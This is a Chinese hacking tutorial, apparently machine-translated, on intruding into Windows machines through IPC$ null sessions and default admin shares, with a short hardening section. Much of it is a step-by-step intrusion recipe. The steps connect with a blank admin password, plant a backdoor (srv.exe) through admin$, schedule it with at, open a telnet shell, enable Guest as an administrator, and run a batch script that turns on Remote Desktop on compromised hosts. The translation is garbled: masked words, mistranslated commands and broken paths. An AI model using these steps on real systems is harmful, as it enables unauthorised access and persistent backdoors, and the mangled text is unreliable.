IPC$(互聯網進程連接)是* * *享有“命名管道”(大家都這麽說)的資源。它是壹個為進程間通信開放的命名管道。可以通過驗證用戶名和密碼獲得相應的權限,在遠程管理電腦和查看電腦* * *共享資源時使用。
有了IPC$,連接器甚至可以在沒有用戶名和密碼的情況下與目標主機建立空連接(當然對方機器必須啟用ipc$***否則無法連接),而有了這個空連接,連接器也可以獲得目標主機上的用戶列表(雖然負責的管理員會禁止導出用戶列表)。
我們總是談論ipc$漏洞。實際上,ipc$ vulnerability並不是壹個真正的漏洞。是為了方便管理員遠程管理而開啟的遠程網絡登錄功能,同時也開啟了默認的* * *享受,即所有邏輯磁盤(C $,D $,E $)...)和系統目錄winnt或windows(admin$)。
所有這些,初衷都是為了方便管理員管理,但是好的初衷不壹定有好的結果,壹些別有用心的人(意圖是什麽?不知道,代詞one)會利用IPC$訪問* * *資源,導出用戶列表,利用壹些字典工具檢測密碼,希望獲得更高的權限,從而達到不可告人的目的。
解惑:
1)IPC連接是Windows NT及以上版本中特有的遠程網絡登錄功能,其功能相當於Unix中的Telnet。因為IPC$ function在Windows NT中需要很多DLL函數,所以不能在Windows 9.x中運行。
也就是說只有nt/2000/xp可以建立ipc$連接,而98/me不能(但是有朋友說98下可以建立空連接,不知道是真是假,但是現在是2003年了,所以我建議98同誌換個系統,這讓98不高興)。
2)即使連接為空,也不是100%可以成功建立。如果對方關閉了ipc$***,妳還是無法建立連接。
3)並不意味著建立ipc$連接後就可以查看對方的用戶列表,因為管理員可以禁止導出用戶列表。
二、建立ipc$連接在黑客攻擊中的作用
如上所述,即使妳建立了壹個空連接,妳也可以獲得很多信息(這在壹次入侵中往往是不可或缺的),並享受其中的壹些。如果妳能以具有壹定權限的用戶身份登錄,妳將獲得相應的權限。顯然,如果妳以管理員身份登錄,嘿嘿,我不需要多說,妳想要什麽,妳就可以。!
基本上可以概括為獲取目標信息,管理目標進程和服務,上傳木馬並運行。如果是2000服務器,也可以考慮開通終端服務,方便控制。怎麽樣?太棒了。)
但是也不要太高興,因為管理員的密碼不是那麽容易拿到的。雖然有些傻逼管理員用的是空密碼或者智障密碼,但畢竟是少數,已經今非昔比了。隨著人們安全意識的提高,管理員越來越小心,拿到管理員的密碼會越來越難: (
所以妳以後最大的可能就是很少或者沒有權限連接,妳會逐漸發現ipc$ connection並不是萬能的,甚至在主機不開啟ipc$***,妳根本連不上。
所以我覺得,妳不要把ipc$入侵當成終極武器,不要以為它是無敵的。這就像足球場上射門前的傳球,很少會有致命的效果,但卻是不可或缺的。我想這就是ipc$ connection在黑客入侵中的意義。
三個ipc$和air連接,139445端口,默認* * *共享關系。
以上四者之間的關系對於初學者來說可能是壹個令人費解的問題,但大部分文章都沒有具體說明。其實我對他們的了解也不是很透徹。都是在和妳的交流中總結出來的。(壹個討論氛圍很好的BBS,可以說是菜鳥的天堂。)
1)ipc$和空連接:
不需要用戶名和密碼的ipc$連接是空連接。壹旦以用戶或管理員身份登錄(即使用特定用戶名和密碼的ipc$ connection),就不能稱為空連接。
很多人可能會問,既然我可以空中連接,那我以後就空中連接吧。何必掃描弱密碼?呵呵,原因前面提到了,用air連接登錄的時候沒有任何權限(很郁悶),以用戶或管理員身份登錄的時候會有相應的權限(誰不想要權限,大家老老實實掃描,別偷懶)。
2)ipc$和139445端口:
Ipc$ connection可以實現遠程登錄和訪問默認* * *;139端口的開放表示netbios協議的應用。我們可以通過端口139,445(win2000)訪問文件/打印機,所以壹般來說,ipc$ connection需要端口139或者445來支持。
3)ipc$和默認* * *
默認* * *訪問是默認啟用的,以便於管理員的遠程管理(當然您可以關閉它),即所有邏輯磁盤(C $,D $,E $)...)和系統目錄winnt或windows(admin$)。我們可以通過ipc$ connection訪問這些默認* * *訪問(前提是對方沒有關閉這些默認* * *)。
ipc$連接失敗的四個原因
以下五個原因是常見的:
1)妳的系統不是NT或以上操作系統;
2)對方沒有開通ipc$默認* * *享受。
3)對方不開放端口139或445(被防火墻屏蔽)。
4)您的命令輸入錯誤(如空格缺失等。)
5)用戶名或密碼錯誤(當然有空連接也沒關系)
另外,還可以根據返回的錯誤號分析原因:
錯誤號5,訪問被拒絕:很有可能妳使用的用戶不是管理員權限,先升級權限;
錯誤號51,Windows找不到網絡路徑:網絡有問題;
錯誤號53,找不到網絡路徑:ip地址錯誤;目標未通電;目標lanmanserver服務未啟動;目標有防火墻(端口過濾);
錯誤號67,找不到網絡名:您的lanmanworkstation服務沒有啟動。目標已刪除的IPC $;
錯誤號為1219,提供的憑證與現有憑證集沖突:您已經與對方建立了ipc$,請刪除後重試。
錯誤號1326,未知用戶名或密碼錯誤:原因很明顯;
錯誤否。1792,試圖登錄,但網絡登錄服務沒有啟動:目標NetLogon服務沒有啟動。(當連接到域控制器時會發生這種情況。)
錯誤號2242,此用戶的密碼已過期:目標有壹個帳戶策略,強制定期更改密碼。
ipc$無法連接的問題比較復雜。除了以上原因,還會有其他不確定因素。這裏我無法給出詳細明確的解釋,就看妳自己去體驗和實驗了。
如何打開目標的IPC$(本段引用相關文章)
首先,妳需要得到壹個不依賴於ipc$的shell,比如sql的cmd擴展,telnet,特洛伊馬。當然,這個shell必須有admin權限,然後妳就可以使用這個shell執行命令net share ipc$來打開目標ipc$。從上面可以看出,ipc$要用還是有很多條件的。請確保所有相關服務都在運行。如果不知道怎麽做,啟動它(請看net命令的用法),或者不起作用(比如有防火墻打不死),建議放棄。
如何防止ipc$入侵
1禁止空連接的枚舉(此操作不阻止空連接的建立,引自win2000下空會話的剖析)。
先運行regedit,找到下面的組【HKEY _本地_機器系統當前控制設置控制】,將RestrictAnonymous = DWORD的鍵值改為:00000001(如果設置為2,會出現壹些問題,比如壹些WIN服務等。).
2 * * *禁止默認享受。
1)查看當地* * *資源。
運行-cmd-輸入網絡份額。
2)刪除* * *享受(壹次輸入壹個)
凈份額IPC $/刪除
凈份額管理費用/刪除
凈份額c美元/刪除
凈份額d $/刪除(如果有E,F,...您可以繼續刪除)
3)停止服務器服務
Net stop server /y(服務器服務將在重新啟動後重新啟動)
4)修改註冊表
運行-註冊表編輯
服務器版本:找到以下主鍵[HKEY _本地_機器系統當前控制設置服務sLanmanserverParameters]並將AutoShareServer(DWORD)的鍵值更改為:00000000。
Pro版本:找到以下主鍵[HKEY _本地_機器系統當前控制設置服務sLanmanserverParameters]並將AutoShareWks(DWORD)的鍵值更改為:0000000。
如果上面提到的主鍵不存在,創建壹個新的(右鍵單擊-新建-雙字節值),然後更改鍵值。
3永久關閉ipc$和默認* * *依賴服務:lanmanserver是服務器服務。
控制面板-管理工具-服務-找到服務器服務(右擊)-屬性-常規-啟動類型-禁用。
4安裝防火墻(選擇相關設置),或者過濾端口(過濾掉139,445等。),或者使用新版本的Optimizer。
5.設置復雜的密碼,以防止通過ipc設置詳盡的密碼
七個相關訂單
1)建立壹個空連接:
Net use \IPipc$ "" /user:" "(必須註意,這壹行命令行包含3個空格)。
2)建立非空連接:
net use \ IPI PC $ " username "/user:" password "(也有3個空格)
3)映射默認* * *享受:
Net使用z: \IPc$ "password" /user:"用戶名"(即可以將對方的c盤映射到自己的Z盤,其他盤以此類推)。
如果已經與目標建立了ipc$關系,則可以使用IP+驅動器號+$直接訪問它。具體命令是net use z: \IPc$。
4)刪除壹個ipc$連接
凈使用量\IPipc$ /del
5)刪除* * *共享映射。
Net use c: /del刪除映射的磁盤C,依此類推。
Net use * /del全部刪除,會提示妳按Y確認。
八種經典入侵模式
這個入侵模式太經典了,大部分ipc教程都有介紹,我就拿來引用壹下。感謝原作者!(不知道哪個學長)
1.丙:>;net use \ 127 . 0 . 0 . 1 IPC $ " "/user:" admin滴定儀"
這是壹個streamer-scanned IP地址,其用戶名為administrators,密碼為“empty”(空密碼?哇,運氣真好),如果打算攻擊,可以用這個命令與127.0.0.1建立連接,因為密碼是“空的”,所以不需要輸入第壹個引號,用戶名在下壹個雙引號裏。輸入administrators,該命令將成功完成。
2.丙:>;復制srv.exe \ 127 . 0 . 0 . 1 admin $
先拷貝srv.exe,在Streamer的Tools目錄下可以找到(這裏的$指的是admin用戶的c:winntsystem32,也可以用c$和d$表示c盤和D盤,具體看妳要拷貝到哪裏)。
3.丙:>;凈時間\127.0.0.1
查時間,發現127.0.0.1當前時間為165438+2002年3月淩晨0:00,命令成功完成。
4.丙:>;在srv.exe
用at命令啟動srv.exe(這裏設置的時間比主機時間快,不然怎麽啟動?呵呵!
5.丙:>;凈時間\127.0.0.1
再查壹遍。妳找到時間了嗎?如果127.0.0.1的當前時間是2002/3/19的11:05 am,那麽準備啟動下面的命令。
6.丙:>;遠程登錄127.0.0.1 99
這裏將使用Telnet命令。註意端口是99。Telnet默認端口為23,但是我們使用SRV在另壹臺計算機上為我們構建了壹個99端口的Shell。
雖然我們可以Telnet,但是SRV是壹次性的,下次登錄的時候就會激活!所以我們將建立壹個Telnet服務!這將使用ntlm
7.丙:>;復制ntlm.exe \ 127 . 0 . 0 . 1 admin $
使用Copy命令將ntlm.exe上傳到主機(ntlm.exe也在Streamer的工具目錄中)。
8.c:win ntsystem 32 & gt;ntlm
輸入ntlm startup(這裏c:win ntsystem 32 >;指的是對方電腦,運行ntlm實際上是讓這個程序在對方電腦上運行)。當“DONE”出現時,表示已經正常啟動。然後使用“net start Telnet”來啟動Telnet服務!
9.Telnet 127.0.0.1,然後輸入用戶名和密碼進入對方。操作就像在DOS上操作壹樣簡單!那妳想做什麽?想幹嘛幹嘛,哈哈)
為了以防萬壹,我們將把來賓激活添加到管理組中。
10.丙:>;網絡用戶來賓/活動:是
激活對方的客人用戶。
11.丙:>;網友來賓1234
將Guest的密碼更改為1234,或者您想要設置的密碼。
12.丙:>;net本地組管理員來賓/添加
將來賓更改為Administrator^_^(如果管理員密碼被更改,而來賓帳戶未更改,我們下次可以使用來賓再次訪問這臺計算機。
2000服務器肉雞IPC打開3389建立批量命令。
echo[組件]& gt;c:sql
echo TSEnable = on & gt& gtc:sql
sysocmgr/I:c:winntinfsysoc . INF/u:c:SQL/q
net time被IPC傳送到對方機器後,獲取對方機器的時間,然後at運行這批命令。
五六分鐘後對方機器重啟,可以在3389落地。
文本